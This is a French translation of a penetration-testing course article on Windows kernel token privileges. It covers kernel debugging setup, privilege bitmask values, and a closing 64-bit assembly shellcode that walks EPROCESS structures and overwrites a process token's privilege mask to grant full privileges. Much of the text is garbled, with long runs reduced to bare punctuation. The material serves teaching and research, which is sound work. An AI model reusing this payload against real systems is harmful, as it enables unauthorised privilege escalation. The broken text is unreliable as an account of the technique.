L'expert OTUS Alexander Kolesnikov a partagé avec nous un article utile, qu'il a écrit spécialement pour les étudiants du cours "Pentest. Practice of Penetration Testing" .
Nous invitons à notre tour tout le monde à participer à une leçon de démonstration gratuite sur le thème: "Collecte d'informations Windows AD, élévation des privilèges. Exploits et vulnérabilités des 5 dernières années."
L'article précédent expliquait comment les exploits utilisent la technique de copie de jetons pour augmenter les privilèges. Dans cet article, nous allons essayer d'envisager une autre technique pour modifier les jetons, et également essayer de découvrir comment les privilèges placés dans le jeton principal sont définis.
Tous les exemples de l'article sont fournis à titre informatif uniquement, et si vous souhaitez répéter les expériences, utilisez une machine virtuelle, car certaines actions peuvent endommager votre machine en fonctionnement. Toutes les expériences sont effectuées à des fins de recherche uniquement.
Configuration du banc d'essai
Pour les expériences, quelques machines virtuelles fonctionnant sur un réseau NAT conviennent. Deux parce qu'il n'y a pas d'autre moyen de déboguer le noyau du système d'exploitation. Et le réseau NAT, pour qu'il y ait des symboles de débogage, il est plus facile et plus rapide de rechercher des données sans code source avec eux. Le paramètre du débogueur est disponible sur Internet, mais il y aura toujours quelques lignes en dessous, comme c'est le cas pour le système d'exploitation Windows 10 1909.
1. Installez le débogueur. Pour le système d'exploitation Windows, il n'y a que Windbg Preview, installez-le:
2. Nous transférons le système d'exploitation cible en mode débogage:
Nous redémarrons le système. Et ouvrez la deuxième machine, qui contiendra le débogueur:

Après le redémarrage du système:
Windbg Preview , . . .
Token
, , , Primary Token. , Se* . , , :
SeAssignPrimaryToken
SeAudit
SeBackup
SeChangeNotify
SeCreateToken
SeDebug
SeLoadDriver
SeLockMemory
SeManageVolume
SeRestore
SeSecurity
SeTakeOwnership
, , . , “Security Descriptor”:

System. — dx @$cursession.Processes[4].KernelObject.Token
EXFAST_REF , , :
System:
, “Security Descriptor” , . :
, , :
- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :
BSOD? , . , :
1. , :
2. cmd.exe
:

3. . :
, . - , - Integrity Levels , .
? . , : 0x1
BSOD , , . , , . , - — 0x100000
.
:
SeDebugPrivilege - 0x100000
SeAuditPrivilege - 0x200000
SeSystemEnvironmentPrivilege - 0x400000
SeCreatePermanentPrivilege - 0x010000
SeSystemtimePrivilege - 0x001000
SeSecurityPrivilege - 0x000100
SeLockMemoryPrivilege - 0x000010
, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.
— System , , .
netstat -ab
, . ? . , Windows , System , :
, , payload :
[BITS 64]
start:
mov r9, [gs:0x188] ;KPROCESS/currentThread
mov r9, [r9+0x220] ;EPROCESS KTHREAD
mov r8, [r9+0x3e8] ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9
loop1:
mov rax, [rax + 0x2f0]
sub rax, 0x2f0 ;KPROCESS
cmp [rax + 0x2e8],r8 ; ProcessId
jne loop1
mov rcx, rax ; PID EPROCESS
add rcx, 0x360
mov rax, [rcx]
and rax, 0xFFFFFFFFFFFFFFF0
mov r8, 0x1e73deff20 ;System
mov [rax+0x48],r8 ;
ret
